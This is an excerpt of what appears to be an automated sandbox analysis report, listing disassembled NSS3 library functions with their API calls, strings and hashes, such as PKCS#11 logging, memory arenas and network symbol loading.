Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: ddbfcfe2253fda62073f599bb565f7604cc39aa02166e4b04a6083d2577540c7
Instruction ID: e5f1ed764e5018eff7fcdbd397c1822606f28031b0986dc20939c96541604e8e
Opcode Fuzzy Hash: ddbfcfe2253fda62073f599bb565f7604cc39aa02166e4b04a6083d2577540c7
Instruction Fuzzy Hash: BC618DB9D0521A9FEB10CF55DC80BAFB7B9FF88354F158028ED18A7251E731A911CBA0

Function 6CFD8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CFD8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFD8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6D1018D0,?), ref: 6CFD8F03
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD8F19
PL_FreeArenaPool.NSS3(?), ref: 6CFD8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFD8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFD8F65
PL_FinishArenaPool.NSS3(?), ref: 6CFD8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CFD8FFE
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD9012
PL_FreeArenaPool.NSS3(?), ref: 6CFD9024
PL_FinishArenaPool.NSS3(?), ref: 6CFD902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CFD903E

Strings

security, xrefs: 6CFD8EE7

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 6ee203c5ee08cd8b635f5faefd28057c85965b0bc5614272e11ec352a3b49166
Instruction ID: 7c31508e2b999c061e05275dda310ceef11d53a6daabb526728322b069f677e0
Opcode Fuzzy Hash: 6ee203c5ee08cd8b635f5faefd28057c85965b0bc5614272e11ec352a3b49166
Instruction Fuzzy Hash: 215139B290C301ABE7109A54EC40FAF73A8AB8575CF4B092EF9559B640D771F90487D3

Function 6D004E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6D004E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D004EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D004EC7

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D004EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6D004F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D004F1A
PR_LogPrint.NSS3(?,00000000), ref: 6D004F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6D004F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6D004F68

Strings

C_GetAttributeValue, xrefs: 6D004E7E
hSession = 0x%x, xrefs: 6D004EA2, 6D004EB2
ulCount = %d, xrefs: 6D004F63
hObject = 0x%x, xrefs: 6D004EF5, 6D004F05
(CK_INVALID_HANDLE), xrefs: 6D004EC0, 6D004F13
pTemplate = 0x%p, xrefs: 6D004F4A

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: ad564cbb4e3c9155e3532e7adfd68039745fb2666cf2952cc531c23ebd807580
Instruction ID: db51f1c330525298f72a36e1d1310e74ab588eab30bacc04757f1d8b2bedaf68
Opcode Fuzzy Hash: ad564cbb4e3c9155e3532e7adfd68039745fb2666cf2952cc531c23ebd807580
Instruction Fuzzy Hash: CF412878504104BFFB10DF55ED84F6A3BB5EB9A30DF0A4028FA0857252DBB4DA45CBA5

Function 6D004CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6D004CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D004D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D004D37

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D004D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6D004D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D004D8A
PR_LogPrint.NSS3(?,00000000), ref: 6D004DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6D004DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6D004E20

Strings

hSession = 0x%x, xrefs: 6D004D12, 6D004D22
*pulSize = 0x%x, xrefs: 6D004E1B
pulSize = 0x%p, xrefs: 6D004DB7
hObject = 0x%x, xrefs: 6D004D65, 6D004D75
C_GetObjectSize, xrefs: 6D004CEE
(CK_INVALID_HANDLE), xrefs: 6D004D30, 6D004D83

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: c8414fd82a99dec70187dff3c18fcfe80d9892511ba3d037b9cb32e4ba797df4
Instruction ID: d2c8d30347dfcd4c23af3232d76398be2007e7c0d94dc444ee20a52c910640cc
Opcode Fuzzy Hash: c8414fd82a99dec70187dff3c18fcfe80d9892511ba3d037b9cb32e4ba797df4
Instruction Fuzzy Hash: FE412874904104BFF720AF50ED88F2A3BB5EB9A34DF064025FA086B112DBB0D945CBE6

Function 6D007C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6D007CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D007CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D007CF3

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D007D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6D007D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6D007D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6D007D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6D007D77

Strings

pData = 0x%p, xrefs: 6D007D25
hSession = 0x%x, xrefs: 6D007CCE, 6D007CDE
C_Verify, xrefs: 6D007CB1
pSignature = 0x%p, xrefs: 6D007D59
ulSignatureLen = %d, xrefs: 6D007D72
(CK_INVALID_HANDLE), xrefs: 6D007CEC
ulDataLen = %d, xrefs: 6D007D40

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: b643c0d91aa4306aa4b845481e881304ca35465fdfc8321858a87c29523a93ab
Instruction ID: 8424af44092b66041b9c498e170bd134e7d9b5e50beebbc9aeccc3c4854c144a
Opcode Fuzzy Hash: b643c0d91aa4306aa4b845481e881304ca35465fdfc8321858a87c29523a93ab
Instruction Fuzzy Hash: C231B779D04105BFFB20EF55ED44F6A3BB1EB82318F4A4025FA0857212DBB59949CBE2

Function 6D002F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6D002F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D002F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D002F63

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D002F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6D002F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6D002FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6D002FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6D002FE7

Strings

hSession = 0x%x, xrefs: 6D002F3E, 6D002F4E
pNewPin = 0x%p, xrefs: 6D002FC9
ulNewLen = %d, xrefs: 6D002FE2
C_SetPIN, xrefs: 6D002F21
(CK_INVALID_HANDLE), xrefs: 6D002F5C
ulOldLen = %d, xrefs: 6D002FB0
pOldPin = 0x%p, xrefs: 6D002F95

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: ad999d14abcbb7001e25b97ab19aa6229406ace7f41abf9b1ce81dc30d909f29
Instruction ID: 155e6e54831fd9328f3d2f6e19dda72256f04dfb18cbe30e589c80bd3488d3b2
Opcode Fuzzy Hash: ad999d14abcbb7001e25b97ab19aa6229406ace7f41abf9b1ce81dc30d909f29
Instruction Fuzzy Hash: 68311779504104FFFB21EF65ED48F6E3BB1EB4A359F0A8024F908A7212DBB18945CB91

Function 6D09CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6D09CC7B), ref: 6D09CD7A

Part of subcall function 6D09CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6D00C1A8,?), ref: 6D09CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D09CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D09CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6D09CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D09CD8E

Part of subcall function 6CFC05C0: PR_EnterMonitor.NSS3 ref: 6CFC05D1
Part of subcall function 6CFC05C0: PR_ExitMonitor.NSS3 ref: 6CFC05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6D09CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D09CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D09CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D09CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6D09CE48

Strings

wship6.dll, xrefs: 6D09CDE3
ws2_32.dll, xrefs: 6D09CD75
getaddrinfo, xrefs: 6D09CD88, 6D09CDF9
freeaddrinfo, xrefs: 6D09CD9F, 6D09CE10
getnameinfo, xrefs: 6D09CDB2, 6D09CE23

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: fc556a8cb8f65f0fa085b23331f22b9d24a6f432e90a9543b45bb340f4e51291
Instruction ID: 90d1973fc8c6c91fa3a5548912bde4c79bb1a2f6f2e85d97074f7d3741a91e25
Opcode Fuzzy Hash: fc556a8cb8f65f0fa085b23331f22b9d24a6f432e90a9543b45bb340f4e51291
Instruction Fuzzy Hash: 101106FAF0250223FB1166B17D04BBB38995B0200CF052435E80ADA645FFE0C59586FB

Function 6D0E1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6D0E13BC,?,?,?,6D0E1193), ref: 6D0E1C6B
PR_NewLock.NSS3(?,6D0E1193), ref: 6D0E1C7E

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PR_NewCondVar.NSS3(00000000,?,6D0E1193), ref: 6D0E1C91

Part of subcall function 6CFBBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CFC21BC), ref: 6CFBBB8C

PR_NewCondVar.NSS3(00000000,?,?,6D0E1193), ref: 6D0E1CA7

Part of subcall function 6CFBBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFBBBEB
Part of subcall function 6CFBBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CFBBBFB
Part of subcall function 6CFBBB80: GetLastError.KERNEL32 ref: 6CFBBC03
Part of subcall function 6CFBBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CFBBC19
Part of subcall function 6CFBBB80: free.MOZGLUE(00000000), ref: 6CFBBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6D0E1193), ref: 6D0E1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6D0E1193), ref: 6D0E1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6D0E1193), ref: 6D0E1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6D0E1193), ref: 6D0E1D1A

Part of subcall function 6D099BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFC1A48), ref: 6D099BB3
Part of subcall function 6D099BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFC1A48), ref: 6D099BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6D0E1193), ref: 6D0E1D3D

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6D0E1193), ref: 6D0E1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6D0E1193), ref: 6D0E1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6D0E1193), ref: 6D0E1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6D0E1193), ref: 6D0E1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6D0E1193), ref: 6D0E1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6D0E1193), ref: 6D0E1D93
PR_DestroyLock.NSS3(00000000,?,?,6D0E1193), ref: 6D0E1D9F
free.MOZGLUE(00000000,?,6D0E1193), ref: 6D0E1DA8

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 08827f085662cb66753597de0a602e1df1df5eccd7802fddb13550dbac57601e
Instruction ID: 05290965e94a4de19445b821c0bc72657515943b5ad2efceb787f3c3a3094d0a
Opcode Fuzzy Hash: 08827f085662cb66753597de0a602e1df1df5eccd7802fddb13550dbac57601e
Instruction Fuzzy Hash: C231D3F5E047029FFB218F65AC41B6B76F8AF01658B044838E94A9B741FB71E414CBA3

Function 6D035CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6D035EC0,00000000,?,?), ref: 6D035CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6D035CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6D035CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6D035D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6D035EC0,00000000,?,?), ref: 6D035D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,?,?), ref: 6D035D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6D035D80

Strings

extern:, xrefs: 6D035CEA, 6D035D4B
sql:, xrefs: 6D035CD1, 6D035D36
multiaccess:, xrefs: 6D035CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6D035D1A
dbm:, xrefs: 6D035D03, 6D035D60

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 223391fd496b126bdd8d9d37b7862f64b91e077afdb83677d993f7cfba0be5aa
Instruction ID: 0f343876a816f706a39b394139494e39c5d93c6f553e83728801c155aa3e177b
Opcode Fuzzy Hash: 223391fd496b126bdd8d9d37b7862f64b91e077afdb83677d993f7cfba0be5aa
Instruction Fuzzy Hash: AE310BB8E443A3ABF7210A24DC4CB7637A9BF02354F060131EE55E6292F7F2D551C2A5

Function 6D036CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6D101DE0,?), ref: 6D036CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D036D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6D036D70
PORT_Alloc_Util.NSS3(00000480), ref: 6D036D82
DER_GetInteger_Util.NSS3(?), ref: 6D036DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D036DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6D036E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6D036F19
PK11_DigestBegin.NSS3(00000000), ref: 6D036F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6D036F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6D037011
PK11_FreeSymKey.NSS3(00000000), ref: 6D037033
free.MOZGLUE(?), ref: 6D03703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6D037060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6D037087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6D0370AF

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 3e48f1622e09ba83b033c6d653ff14fb28247419bfa3aa40f8a3ac4c26d04d68
Instruction ID: 3150005b6484199ef56df9f383ce6afbc14b7c11804a3d159193f6cc82da0df7
Opcode Fuzzy Hash: 3e48f1622e09ba83b033c6d653ff14fb28247419bfa3aa40f8a3ac4c26d04d68
Instruction Fuzzy Hash: ABA108719082239FFB009B24DC45B7E32E5EB81318F968939E919CB291E775D849C7D3

Function 6CFFAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFAF39
PR_Unlock.NSS3(?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFAF69
TlsGetValue.KERNEL32 ref: 6CFFB06B
EnterCriticalSection.KERNEL32(?), ref: 6CFFB083
PR_Unlock.NSS3(?), ref: 6CFFB0A4
TlsGetValue.KERNEL32 ref: 6CFFB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CFFB0D9
PR_Unlock.NSS3 ref: 6CFFB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFB182

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CFFB177

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFB1C2

Part of subcall function 6D021560: TlsGetValue.KERNEL32(00000000,?,6CFF0844,?), ref: 6D02157A
Part of subcall function 6D021560: EnterCriticalSection.KERNEL32(?,?,?,6CFF0844,?), ref: 6D02158F
Part of subcall function 6D021560: PR_Unlock.NSS3(?,?,?,?,6CFF0844,?), ref: 6D0215B2

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
